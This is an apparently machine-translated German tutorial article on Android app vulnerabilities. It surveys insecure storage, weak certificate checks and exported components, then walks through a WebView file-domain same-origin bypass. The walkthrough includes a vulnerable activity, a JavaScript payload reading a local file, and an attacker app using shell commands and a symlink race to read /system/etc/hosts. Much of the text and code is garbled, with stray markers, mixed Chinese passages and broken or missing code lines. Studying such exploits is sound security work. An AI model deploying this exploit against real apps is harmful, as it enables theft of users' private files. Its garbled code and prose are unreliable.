Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Beispielanalyse zur Umgehung der WebView-Dateidomänen-Ursprungsrichtlinie für Sicherheitslücken

Beispielanalyse zur Umgehung der WebView-Dateidomänen-Ursprungsrichtlinie für Sicherheitslücken

王林
王林nach vorne
2023-05-15 08:22:141485Durchsuche

Grundkenntnisse der Android-Architektur

  • Kernel-Kernelschicht
    Schwachstellen sind äußerst schädlich und äußerst vielseitig
    Aufgrund der großen Anzahl und Komplexität der Treiber kann es auch viele Lücken geben

  • Bibliotheken-Systemlaufzeitbibliotheksschicht

    • Die in Form von System-Middleware bereitgestellte Laufzeitbibliothek
      umfasst libc, WebKit, SQLite usw.

    • AndroidRunTime
      Dalvik-Virtual-Machine- und Kernel-Bibliothek

  • FrameWork-Anwendungsframeworkschicht
    stellt eine Reihe bereit von Diensten und API-Schnittstellen

    App-Schicht
    • Systemanwendung
    • Startbildschirm, Kontakt, Telefon, Browser
    • Andere Anwendungen
    • Von Entwicklern implementierte Programme unter Verwendung der API der Anwendungs-Framework-Schicht

    • Andoroid Common Komponenten

    • Aktivitätsaktivitäten

    Service Service
  • BroadcastRecviver Broadcast Receiver

    • ContentProvider Content Provider


    • Android App Common Vulnerabilities (OWASP Mobile Top. 10) Unsachgemäße Nutzung der Plattform

Übersicht

Missbrauch oder Nichtnutzung von Plattformfunktionen. Möglichkeit, die Sicherheitskontrollen der Plattform zu nutzen. Zum Beispiel vorsätzlicher Missbrauch, Missbrauch von Berechtigungen usw.

  • Die Risiken

    sind sehr groß und können verschiedene Dienste auf der mobilen Plattform betreffen
  • Zum Beispiel
  • Im iOS-System werden die Passwortdaten in einer lokalen Datei gespeichert statt im Schlüsselbund kann es aus pseudoverschlüsselten Sicherungsdaten gelesen werden
  • Im Android-System führt die missbräuchliche Verwendung von Intent dazu, dass böswillige Benutzer den Inhalt des Intents kapern und ändern und willkürliche Aktionen mit dem ausführen Identitätsberechtigungen des ursprünglichen Prozesses.

  • Unsichere Datenspeicherung.


  • Unsichere Kommunikation
Textspeicher löschen

  • MODE_PRIVATE

  • Textspeicher löschen


  • Erstellt Der Modus MODE_PRIVATE wird beim Erstellen der Datenbank nicht verwendet.



  • Der Modus MODE_PRIVATE wird beim Erstellen der Konfigurationsdatei nicht verwendet, was dazu führt, dass andere Programme die Datei lesen Konfigurationsdatei
  • im Klartext gespeichert und vom Root-Benutzer lesbar, was zum Verlust sensibler Daten führt

  • SharedPreferences
data/data/package name/shared_prefs/*.xml

  • SQLiteDatabases

    Daten/Datenpaketname/Datenbank/*.db

    • InternalStorage
    • Daten/Daten/Programmregistrierung/Dateien/*


    • ExternalStorage
    • /mnt/sdcard/*

    • Erkennungsmethode


    • Durchsuchen Sie die verschiedenen Dateien und Verzeichnisse im Paketnamenverzeichnis /data/data/ und prüfen Sie, ob Dateien vorhanden sind, die für andere Benutzer lesbar sind.

    • Überprüfen Sie, ob in der Konfiguration vertrauliche Klartextinformationen vorhanden sind Dateien, Datenbanken usw.


    • Mining-Methode


    • Codeerkennung
      Überprüfen Sie openFileOutput, getSharedPrefreences, openOrCreateDatabase usw. Funktional Ob der Modusparameter ist. MODE_PRIVATE(0x0000)


    • Daten Kommunikationsschwachstelle




      Verwendung von Klartextprotokollen wie HTTP zur Übertragung sensibler Informationen an den Server


  • Über LAN-Sniffing, böswilliges öffentliches WLAN, böswillige Proxy-Dienste, DNS-Hijacking und andere Mittel wird die Kommunikation im Klartext erfasst, was dazu führt Man-in-the-Middle-Angriffe

    • SSL-Zertifikat schwache Überprüfung

  • Suchen Sie nach .method public checkServerTrusted



    Lokalisieren Sie .method und beenden Sie die Methode
    • .

      Überprüfen Sie, ob dies der Fall ist return-void

    • Überprüfen Sie auf ähnliche Weise, ob der Rückgabewert von verify(String, SSLSession) immer True ist und ob der Parameter von und installieren Sie es im Telefon

Aktivieren Sie den Fiddler-Proxy und erlauben Sie dem Remote-Host, sich mit dem Proxy zu verbinden

  • Die fehlende Überprüfung des SSL-Zertifikats in der APP
  • Der Client sollte die Klasse Die drei Methoden checkServerTrustedcheckClientTrustedgetInstance

    • Ein Fehler bei der Zertifikatsüberprüfung führt zu einer Ausnahme, und dann behandelt die Anwendung die Ausnahme bei der Zertifikatsüberprüfung

  • Eine fehlgeschlagene Überprüfung des Serverzertifikats führt zu einem TLS-Man-in-the-Middle-Angriff

    Wann Bei Verwendung von HttpsURLConnection wird der benutzerdefinierte HostnameVerifier während des Prozesses nicht implementiert. Bei der Überprüfung des Hostnamens wird standardmäßig nicht überprüft, ob der Zertifikatdomänenname mit dem Sitenamen übereinstimmt. Oder wenn Sie den HostnameVerifier von HttpsURLConnection festlegen, legen Sie ihn auf ALLOW_ALL_HOSTNAME_VERIIER fest, um alle Domänennamen zu akzeptieren p, Patch usw . Methode zur Umgehung


Komponentenexpositions-Schwachstelle

  • Android:exported ist ein den vier Hauptkomponenten gemeinsames Attribut, das angibt, ob dies der Fall ist unterstützt. Andere Anwendungen rufen die aktuelle Komponente auf 🎜#

    # 🎜🎜#Berechtigungskontrolle exportierter exportierter Komponenten
  • Authentifizierung umgehen
  • #🎜 🎜#Die Aktivität wird nach der Offenlegung von einem Dritten aufgerufen und es ist möglich, sich ohne Passwort anzumelden/das Passwort zurückzusetzen

  • #???? Beim Debuggen können andere Informationen eingesehen werden

    • Befugnisverletzung
  • #🎜🎜 #


  • Programme mit niedrigen Berechtigungen führen Aktionen mit hohen Berechtigungen aus, indem sie Komponenten aufrufen, die von Programmen mit hohen Berechtigungen bereitgestellt werden
    • #🎜🎜 #

    • AndroidManifest.xml anzeigen
  • von drozer Das Attacksurface-Tool führt eine Sicherheitsbewertung durch


    # ## erhalten

    • AES/DES schwache Verschlüsselung

      ECB-Modus ist anfällig für Analyse- oder Replay-Angriffe#🎜 🎜#

      #🎜🎜 #
    • WebView
  • Enthält hauptsächlich drei Arten von Schwachstellen:


    beliebige Codeausführung

    #🎜 🎜#
    • Wenn Sie eine Webseite schreiben, die Objekte durchläuft, besteht bei Vorhandensein einer getClass-Methode eine Sicherheitsanfälligkeit bezüglich Remotecodeausführung.

    • #🎜 🎜#Fiddlers Before-Skript kann es jeder Webansicht ermöglichen, zum Testen auf jede Webseite zuzugreifen

    • Nach Android4.2 kann die Methode über die Annotation „addJavascriptInterface“ aufgerufen werden die Java-Methode in der Webseite. Wenn es nicht gefiltert wird, kann es zu Lücken kommen. ?? ?? Auf Dateien kann zugegriffen werden durch symbolische Linkangriffe: Egal wie eingeschränkt, js kann auf diese Datei zugreifen. Durch Verzögerung der Ausführung und Ersetzen der aktuellen Datei durch einen Softlink, der auf andere Dateien verweist, kann die Datei, auf die der symbolische Link verweist, gelesen werden

    Wenn WebView Aktiviert die Unterstützung für JavaScript und schränkt URLs in der Form „file:///“ nicht ein. Dadurch werden vertrauliche Informationen wie Cookies, private Dateien und Datenbanken preisgegeben.

  • # 🎜 🎜#

  • Passwortspeicherung im Klartext

    Wenn der Benutzer den in WebView eingegebenen Benutzernamen und das Passwort speichert, werden sie im Klartext in data.db gespeichert App-Verzeichnis #🎜 🎜#statische Analyse
    Schnelle Erkennung und Beschaffung wichtiger Analyseziele

Überprüfen Sie die AndroidManifest-Datei

# 🎜🎜#

    Skriptanalyse Smali-Code

    • Dynamische Analyse
    • Verifizierung und Gefahrenbewertung von vermutete Risiken


    • Debug-Modus-Analyse

    • Versuchen Sie den Betrieb/die Schwachstellenüberprüfung #🎜 ## ## 🎜🎜#

    • Umgekehrte Analyse
    • Verschlüsselungsknacken und weitere Analyse von Logik und Code



    • #🎜 🎜 #

  • -

    • Automatisiertes Assistenzsystem

    • # 🎜🎜#
    • MobSF enthält die Front-End-Weboberfläche,
    • Marvin enthält die Front-End-Weboberfläche, Die Bereitstellung ist mühsam. Beispielcode-Adresse: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.
    • Oder mein Github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1


      Der Hauptunterschied zwischen den folgenden Codes ist dieser attack_file.html
    • öffentliche Klasse MainActivity erweitert Aktivität {


      private WebView webView;
      #🎜 🎜# privat String-URL;

    • String mUrl1 = "file:///android_asset/html/attack_file.html";
  • //String mUrl2 = "file:// /android_asset/ html/test.html";


    @Override

    protected void onCreate(Bundle savedInstanceState) {

  • super.onCreate(savedInstance State) ; # 🎜🎜#
setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override              public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

               //Erforderliche Funktionalität hier  

                return super.onJsAlert(view, URL, Nachricht, Ergebnis);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

              @Override                public void run() {  

                  Log.e ("leehong2", "onButtonClick: text = " + str);                   Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();  

                }  

            });  

            return „Dieser Text wird von der Java-Ebene zurückgegeben.  js text = „ + text;  

        }  

        public void onImageClick(String url, int width, int height) {  

            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;  

            Log.i("leehong2", str);  

            runOnUiThread(new Runnable() {  

              @Override                public void run() {  

                  Toast.make Text(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

}

WebView.getSettings().setAllowFileAccessFromFileURLs(true) ist eine Datei mit JavaScript

  我们再来看attack_file.html的代码:'

  

  

<script>  <p></p>function StealFile()  <p></p>{  <p></p>    var file = "file:///mnt/sdcard/233.txt";  <p></p>    var xmlHttpReq = new XMLHttpRequest();  <p></p>    xmlHttpReq.onreadystatechange = function(){  <p></p>        if(xmlHttpReq.readyState == 4){  <p></p>            warning(xmlHttpReq.responseText);  <p></p>        }  <p></p>    }  <p></p>xmlHttpReq.open("GET", file);  <p></p>xmlHttpReq.send(null);  <p></p>}  <p></p>stealFile();  <p></p></script>  

  

 
Verwenden Sie setAllowFileAccessFromFileURLs als false, webView. Load这个html不可以返回/mnt/sdcard/2333.txt个限制,这个我下一次讲讲.

Führen Sie zuerst WebViewFileDemo1 und dann AttackWebView aus, um WebView anzugreifen.

Wir schauen uns zunächst WebViewFileDemo1 an. Der Hauptcode lautet wie folgt:

package com.example.webviewfiledemo [/size][/font][/ p]

import android.content.Intent;

import android.os.Bundle;

import android.util.Log; android.webkit.JsResult;

import android.webkit.WebView;

import android.widget.Toast;

private WebView; Uri mUri;

private String-URL;

protected void onCreate(Bundle savingInstanceState) {

super.onCreate(savedInstanceState);

web Ansicht = (WebView) findViewById(R. id.webview);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new JSInterface(), "jsInterface");

webView.getSettings().setAllowFileAccessFromFile URLs(false );

      / /webView.getSettings().setAllowFileAccess(false);                                                                using ’ s ’ ‐ ‐ ‐ ‐                                                                     // Erforderliche Funktionalität hier

                                                                      return super.onJsAlert(view, url, message, result);

                                                                                                                                                                                                 if (url != null) {

            webView.loadUrl(url) ;

}

}

}

Diese Aktivität empfängt den Intent von außen, extrahiert die URL im Intent und lädt sie.

Dann schauen wir uns das AttackWebView-Projekt an, das das Projekt ist, das Intent an com.example.webviewfiledemo.MainActivity sendet. Der Code lautet wie folgt:

public class MainActivity erweitert Aktivität {

public final static String HTML =

„“ +

Warten Sie ein paar Sekunden.

„ <script>“ + „var d = document;“+ „</p> <p> „function doitjs(){“+ „var xhr = new XMLHttpRequest;“+ </p> <p> „xhr.onload = function(){“+ </p> <p> „var txt = xhr.responseText;“+ </p> <p> „d.body.appendChild(d.createTextNode(txt));“+ </p> <p> „alert(txt);“+“};“ + </p> <p> ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p>            "</script>"+  

            "";  

   public static String MY_TMP_DIR;  

    @Override 

    protected void onCreate(Bundle savingInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

        try {  

            cmdexec("mkdir " + MY_TMP_DIR);  

            cmdexec("echo "" + HTML + "" > " + HTML_PATH);  

            cmdexec("chmod -R 777 " + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP("file://" + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec("rm " + HTML_PATH);  

            cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  

        } Catch (Ausnahme e) {  

            // TODO: Ausnahme behandeln  

        }  

#🎜 🎜#    }  #🎜🎜 #

   public void invokeVulnAPP(String url) {  

        try {  

           se(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

            startActivity(intent);  

        } Catch (Ausnahme e) {  

            // TODO: Ausnahme behandeln  

        }  

#🎜 🎜#    }  #🎜🎜 #

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { "/system/bin/sh", „-c“, cmd };  

            Runtime.getRuntime().exec(tmp);  

        } Catch (Ausnahme e) {  

            // TODO: Ausnahme behandeln  

        }  

#🎜 🎜#    }  #🎜🎜 #

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_ode x/A0.html, webView了这个html,html内容如下:

public final static String HTML =   

        "" +  


        "Warten Sie ein paar Sekunden." +   

        "<script>" +#🎜🎜 ## 🎜🎜#"var d = document;"+#🎜🎜 ## 🎜🎜##"Funktion doitjs () {"+#🎜🎜 ## 🎜🎜##"var xhr = new xmlhttprequest;"++++++++++++ </p> <p>        "xhr.onload = function(){"+  </p> <p>        "var txt = xhr.responseText;"+  </p> <p>        "d.body. appendChild(d.createTextNode(txt));"+  </p> <p>        "alert(txt);"+"};"+  </p> <p>        "xhr.open('GET', d.URL);"+  </p> <p>        "xhr.send(null);"+  </p> <p>        "}"+  </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+

"";

Wenn die WebView im WebViewFileDemo1-Projekt A0.html lädt, ist die Funktion dieses HTML besteht darin, 8 Sekunden zu verzögern, um A0.html selbst zu lesen. Kehren wir zum AttackWebView-Projekt zurück und schauen uns den Code an.

cmdexec("mkdir " + MY_TMP_DIR);                                                                                           invokeVulnAPP("file://" + HTML_PATH);                                                      cmdexec("rm " + HTML_PATH);    cmdexec("ln -s " + "/system /etc/hosts" + " " + HTML_PATH);

Nach dem Aufruf von invokeVulnAPP, 6 Sekunden später löschen wir zunächst A0.html und stellen dann erneut eine Soft-Verbindung zu /system/etc/hosts her. Beachten Sie, dass, wenn die WebView im WebViewFileDemo1-Projekt zu diesem Zeitpunkt A0.html lädt, die Funktion dieses HTML darin besteht, das Lesen von A0.html selbst um 8 Sekunden zu verzögern, sodass die Soft-Verbindung /system/etc/hosts nach 8 Sekunden gelesen wird.

Das obige ist der detaillierte Inhalt vonBeispielanalyse zur Umgehung der WebView-Dateidomänen-Ursprungsrichtlinie für Sicherheitslücken. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen